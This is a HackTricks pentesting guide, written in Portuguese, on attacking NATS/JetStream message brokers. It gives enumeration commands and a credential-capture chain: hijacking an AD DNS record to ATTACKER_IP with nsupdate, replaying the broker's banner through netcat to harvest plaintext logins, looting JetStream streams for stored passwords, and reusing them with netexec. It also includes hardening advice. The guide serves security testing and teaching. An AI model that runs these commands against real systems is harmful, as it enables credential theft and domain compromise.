4222 - Pentesting NATS / JetStream

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

NATS é um barramento de mensagens de alto desempenho que usa um protocolo simples baseado em texto: o servidor transmite um banner JSON INFO { ... } imediatamente após a conexão TCP, e o cliente responde com um frame CONNECT {"user":"USERNAME","pass":"PASSWORD",...} seguido por comandos opcionais PING/PUB/SUB. JetStream adiciona primitivas de persistência (Streams & Consumers) sobre a mesma porta TCP (4222/tcp). TLS e autenticação são opcionais, então muitas implantações internas executam plaintext AUTH.

  • Porta padrão: 4222/tcp (4223+ para rotas em cluster)
  • Campos padrão do banner: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeração

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

O frame INFO também pode ser extraído manualmente:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Instale o CLI oficial (Go ≥1.21) para uma interação mais aprofundada:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Falhas de autenticação imediatamente disparam nats: Authorization Violation, portanto credenciais válidas são necessárias para qualquer RPC significativo.

Captura de credenciais via DNS/impersonação de serviço

  • Identificar entradas DNS do AD obsoletas para o broker hostname (e.g. nats-svc.domain.local). Se o registro retornar NXDOMAIN, um usuário de domínio com privilégios baixos pode recriá-lo graças às ACLs default de dynamic-update. Veja AD DNS Records abuse para contexto.
  • Registre o hostname para um IP controlado pelo atacante:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Espelhe o banner legítimo uma vez, depois replay para cada client que conectar. NATS confia na primeira linha INFO que vê, então só precisamos passar isso por um listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • Assim que um cliente interno resolver o hijacked name, ele emitirá um plaintext CONNECT frame contendo o par user / pass e várias telemetrias (client name, Go version, protocol level). Como nada além do INFO banner é necessário, até mesmo nc basta para extrair segredos.
  • Para trabalhos mais longos, execute o servidor oficial localmente (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). Os logs TRACE já mostram usernames; remover o redaction helper ou capturar tráfego com Wireshark revela o full password.

JetStream looting & password hunting

Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

A descoberta do JetStream geralmente segue este padrão:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Equipes de streaming frequentemente registram eventos de autenticação em subjects como logs.auth. Se os desenvolvedores persistirem o JSON bruto em um JetStream stream, as cargas úteis podem incluir nomes de usuário e senhas do AD em texto plano:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Segredos retidos podem então ser reproduzidos contra serviços somente Kerberos usando netexec smb DC01 -u USER -p PASS -k, permitindo o comprometimento completo do domínio.

Endurecimento & detecção

  • Enforce TLS (tls, tls_required, or mTLS via nkey/creds). Sem criptografia, INFO/CONNECT leaks credenciais para qualquer atacante em posição on-path.
  • Pinpoint who can update DNS – delegue registros de serviço para contas dedicadas e audite Event IDs 257/252 para hostnames de alto valor. Combine com alertas de scavenging para que nomes de broker ausentes não possam ser silenciosamente reivindicados novamente.
  • Disable credential logging. Remova segredos antes de publicar em subjects, defina limites de retenção/idade do JetStream, e aplique deny_delete=false apenas a operadores confiáveis.
  • Monitor for banner anomalies – conexões repetidas de curta duração, timeouts de autenticação, ou INFO banners que não correspondem ao template aprovado sugerem servidores falsificados.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks